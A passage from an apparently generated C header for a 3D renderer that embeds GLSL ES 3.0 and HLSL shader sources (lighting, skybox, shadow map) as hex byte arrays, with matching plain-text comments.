0x61,0x6c,0x69,0x7a,0x65,0x28,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,
0x73,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,
0x63,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x6d,0x61,0x74,0x65,0x72,
0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,0x79,
0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,
0x34,0x20,0x5f,0x33,0x30,0x36,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,
0x28,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x2c,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x34,0x20,0x5f,0x33,0x30,0x39,0x20,0x3d,0x20,0x5f,0x33,0x30,0x36,
0x20,0x2a,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x33,
0x31,0x39,0x20,0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x5f,0x33,0x30,0x39,0x2e,0x78,
0x79,0x7a,0x29,0x20,0x2a,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,
0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x20,
0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,
0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,
0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,
0x70,0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x2c,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,
0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,
0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,
0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x31,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,
0x28,0x5f,0x33,0x33,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,
0x20,0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x35,0x20,0x3d,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,
0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x20,
0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x37,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,
0x20,0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,0x20,0x6c,0x69,
0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,0x79,
0x7a,0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,
0x33,0x31,0x39,0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x5f,0x33,0x33,
0x34,0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x63,0x61,0x6c,
0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,
0x61,0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,
0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,0x31,0x2e,0x30,0x29,0x29,0x29,0x29,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x5f,0x33,0x38,0x36,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,
0x20,0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x33,0x39,0x34,
0x20,0x3d,0x20,0x5f,0x33,0x38,0x36,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x6c,
0x65,0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x38,0x36,0x29,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,
0x30,0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,
0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,
0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,
0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,
0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x31,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,
0x28,0x5f,0x34,0x30,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,
0x20,0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,
0x20,0x5f,0x33,0x38,0x36,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x6c,0x69,0x67,
0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x77,0x29,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x36,0x20,0x3d,
0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,
0x5d,0x2e,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x32,0x36,0x20,0x3d,0x20,
0x61,0x74,0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,
0x74,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,
0x66,0x20,0x28,0x5f,0x34,0x32,0x36,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,
0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,
0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,
0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,
0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x33,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,
0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,0x31,0x39,0x20,0x2a,0x20,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,
0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x5f,0x34,0x30,0x34,0x29,0x29,0x20,0x2a,0x20,
0x5f,0x34,0x32,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,
0x0a,0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x34,0x35,0x37,0x20,0x3d,0x20,0x74,0x6f,0x6e,
0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x74,0x6f,
0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,
0x3d,0x20,0x5f,0x34,0x35,0x37,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,
0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x76,0x65,0x63,0x34,0x28,0x5f,0x34,
0x35,0x37,0x2c,0x20,0x5f,0x33,0x30,0x39,0x2e,0x77,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,
0x00,
};
/*
#version 300 es
uniform vec4 vs_skybox_params[4];
out vec3 vTexCoord;
layout(location = 0) in vec3 aPosition;
layout(location = 1) in vec3 aNormal;
layout(location = 2) in vec2 aTexCoord;
layout(location = 3) in vec4 aColorMult;
layout(location = 4) in vec4 aColorOffset;
void main()
{
vTexCoord = aPosition.xzy;
gl_Position = (mat4(vs_skybox_params[0], vs_skybox_params[1], vs_skybox_params[2], vs_skybox_params[3]) * vec4(aPosition, 1.0)).xyww;
}
*/
static const char vs_skybox_source_glsl300es[461] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,
0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,
0x5d,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x54,0x65,0x78,
0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,
0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x69,0x6e,0x20,0x76,
0x65,0x63,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x6c,
0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,
0x20,0x31,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,
0x6d,0x61,0x6c,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,
0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x32,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,
0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,
0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x33,
0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,
0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,
0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,
0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,
0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,
0x20,0x28,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,
0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x32,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,0x63,
0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,
0x29,0x29,0x2e,0x78,0x79,0x77,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 300 es
precision mediump float;
precision highp int;
uniform highp samplerCube imageSkybox;
layout(location = 0) out highp vec4 fragColor;
in highp vec3 vTexCoord;
void main()
{
fragColor = texture(imageSkybox, vTexCoord);
}
*/
static const char fs_skybox_source_glsl300es[243] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x30,0x30,0x20,0x65,0x73,0x0a,
0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,
0x6f,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x75,
0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x72,0x43,0x75,0x62,0x65,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,
0x79,0x62,0x6f,0x78,0x3b,0x0a,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,
0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x6f,0x75,0x74,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x72,0x61,0x67,0x43,
0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x69,0x6e,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x0a,
0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x74,0x65,
0x78,0x74,0x75,0x72,0x65,0x28,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,
0x78,0x2c,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x00,
};
#endif /* SOKOL_GLES3 */
#if defined(SOKOL_D3D11)
/*
cbuffer vs_shadow_map_params : register(b0)
{
row_major float4x4 _21_uModelViewProjection : packoffset(c0);
};
static float4 gl_Position;
static float3 aPosition;
static float2 projZW;
static float3 aNormal;
static float2 aTexCoord;
static float4 aColorMult;
static float4 aColorOffset;
struct SPIRV_Cross_Input
{
float3 aPosition : TEXCOORD0;
float3 aNormal : TEXCOORD1;
float2 aTexCoord : TEXCOORD2;
float4 aColorMult : TEXCOORD3;
float4 aColorOffset : TEXCOORD4;
};
struct SPIRV_Cross_Output
{
float2 projZW : TEXCOORD0;
float4 gl_Position : SV_Position;
};
#line 18 "src/ek/scenex/3d/render3d.glsl"
void vert_main()
{
#line 18 "src/ek/scenex/3d/render3d.glsl"
gl_Position = mul(float4(aPosition, 1.0f), _21_uModelViewProjection);
projZW = gl_Position.zw;
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
aPosition = stage_input.aPosition;
aNormal = stage_input.aNormal;
aTexCoord = stage_input.aTexCoord;
aColorMult = stage_input.aColorMult;
aColorOffset = stage_input.aColorOffset;
vert_main();
SPIRV_Cross_Output stage_output;
stage_output.gl_Position = gl_Position;
stage_output.projZW = projZW;
return stage_output;
}
*/
static const char vs_shadow_map_source_hlsl5[1223] = {
0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x20,0x3a,0x20,0x72,
0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x62,0x30,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x72,0x6f,0x77,0x5f,0x6d,0x61,0x6a,0x6f,0x72,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x78,0x34,0x20,0x5f,0x32,0x31,0x5f,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,
0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,
0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x30,0x29,0x3b,0x0a,
0x7d,0x3b,0x0a,0x0a,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x73,
0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x73,
0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,
0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,
0x73,0x65,0x74,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,
0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x4e,
0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x31,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,0x54,
0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,
